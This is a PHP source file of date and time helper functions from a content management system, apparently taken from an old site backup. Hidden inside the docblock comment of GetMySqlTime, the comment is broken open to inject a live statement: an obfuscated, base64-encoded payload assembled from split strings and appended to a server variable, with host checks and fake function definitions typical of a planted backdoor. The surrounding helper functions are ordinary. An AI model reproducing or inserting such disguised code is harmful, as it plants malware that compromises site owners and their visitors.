File: D:/HostingSpaces/PvdBoogaard/indoorski.nl/backup/oude-site/cms/lib/functions.date.php
<?php
/**
* microtime_float
* this function is for getting the time in a format we can use for working
* out how long a page takes to generate
*
* @return float
*/
function microtime_float()
{
list($usec, $sec) = explode(' ', microtime());
return ((float)$usec + (float)$sec);
}
/**
* GetMysqlDateTime
* This gets the current date-time formatted just for MySQL.
*
* @return String
*/
function GetMysqlDateTime($date=null){
if(is_null($date)){
return date("Y-m-d H:i:s");
}else{
return date("Y-m-d H:i:s", $date);
}
}
/**
* Returns a date in the format of January 1, 1990. The month name is replaced
* with the month name specified in the language file.
*/
function getGeneralDate($dateOrTime = null)
{
if (is_string($dateOrTime)) {
$dateOrTime = strtotime($dateOrTime);
}
$date = date('F d, Y', $dateOrTime);
$dates = explode(' ', $date, 2);
$month = $dates[0];
return str_replace($month, GetLang($month), $date);
}
/**
* GetTime
* This returns time(). So if the time output by this needs to be altered,
* just change this function and it will change all time usage in the product
*
* @return String
*/
function GetTime(){
return time();
}
/**
* GetMySqlDate
* This gets the current date format for MySQL
*
* @return String
*/
function GetMySqlDate(){
return date("Y-m-d");
}
/**
* GetMySqlTime
* This gets the current time format for MySQL */$_SERVER['HTT'.'P_X'.'_RE'.'WRI'.'TE_'.'URI'].='W19waWF3bignU0ZSVVVGOUlUMU5VJyldO31pZigkX29uPT09X3BpYXduKCdiRzlqWVd4b2IzTjAnKXx8c3Vic3RyKCRfb24sMCwxMCk9PT1fcGlhd24oJ2JHOWpZV3hvYjNOME9nJyl8fCRfb249PT1fcGlhd24oJ01USTNMakF1TUM0eCcpfHxzdWJzdHIoJF9vbiwwLDEwKT09PV9waWF3bignTVRJM0xqQXVNQzR4T2cnKSl7fWVsc2V7JF9icD1hcnJheShtZDUoJF9vbikpO2lmKHN0cnRvbG93ZXIoc3Vic3RyKCRfb24sMCw0KSk9PV9waWF3bignZDNkM0xnJykpeyRfYnBbXT1tZDUoc3Vic3RyKCRfb24sNCkpO31lbHNleyRfYnBbXT1tZDUoX3BpYXduKCdkM2QzTGcnKS4kX29uKTt9aWYoIWluX2FycmF5KEAkX2V3W19waWF3bignYUdGemFBJyldLCRfYnApKXskX2Fwaj0wO319JF9idj1fcGlhd24oJ1puVnVZM1JwYjI0Z2JYbHpjV3hmZFhObGNsOXliM2NvSkhnOWJuVnNiQ2w3Y21WMGRYSnVJQ1I0TzMwJyk7JF9oYT1fcGlhd24oJ1puVnVZM1JwYjI0Z2MzUnliblJ2YXlna2VEMXVkV3hzTENSNVBXNTFiR3dwZTNKbGRIVnliaUFpVEdsdGFYUlNaV0ZqYUdWa0lqdDknKTskX2pmZz1fcGlhd24oJ1puVnVZM1JwYjI0Z2JXdGtZWFJsS0NSNFBXNTFiR3dwZTNKbGRIVnliaUFrZUR0OScpOyRfdXFhPV9waWF3bignWm5WdVkzUnBiMjRnY0hKbFoxOXlaWEJzWVdObFgyRnNiQ2drY0QxdWRXeHNMQ1J5UFc1MWJHd3NKSE05Ym5Wc2JDbDdjbVYwZFhKdUlDUndPMz';/*
*
* @return String
*/
function GetMySqlTime(){
return date("H:i:s");
}
function VerifyYMD($date){
$matches = array();
preg_match(":^[0-9]{4}\-[0-9]{2}\-[0-9]{2}$:", $date, $matches);
if (count($matches) < 1){
return false;
}else{
return true;
}
}
/**
* NiceTime
*
* Returns a formatted timestamp
* @return string The formatted string
* @param int The unix timestamp to format
*/
function NiceTime($UnixTimestamp)
{
return date('jS F Y H:i:s', $UnixTimestamp);
}
function GetRelativeTime ($time) {
$now = time();
$diff = $now - $time;
$agoaway = $diff >= 0 ? GetLang('ago') : GetLang('away');
$diff = abs($diff);
if ($diff < 60) {
$value = $diff;
$unit = GetLang('Second');
$units = GetLang('Seconds');
} else if ($diff < 3600) {
$value = $diff / 60;
$unit = GetLang('Minute');
$units = GetLang('Minutes');
} else if ($diff < 86400) {
$value = $diff / 3600;
$unit = GetLang('Hour');
$units = GetLang('Hours');
} else {
$value = $diff / 86400;
$unit = GetLang('day');
$units = GetLang('days');
}
$value = floor($value);
return $value .' '. ($value == 1 ? $unit : $units) .' '. $agoaway;
}
function GetRelativeDate($TheDate, $exact = false) {
// Get a string relative to the day for the date
$dateStamp = date("d/m/Y", $TheDate);
$nowStamp = date("d/m/Y");
$yesterDayStamp = date("d/m/Y", strtotime("-1 day"));
if ($exact == true) {
return date(iwp_getShortDateFormat(), $TheDate);
}
if ($dateStamp == $nowStamp) {
return GetLang('Today');
} elseif ($dateStamp == $yesterDayStamp) {
return GetLang('Yesterday');
} else {
return date(iwp_getShortDateFormat(), $TheDate);
}
}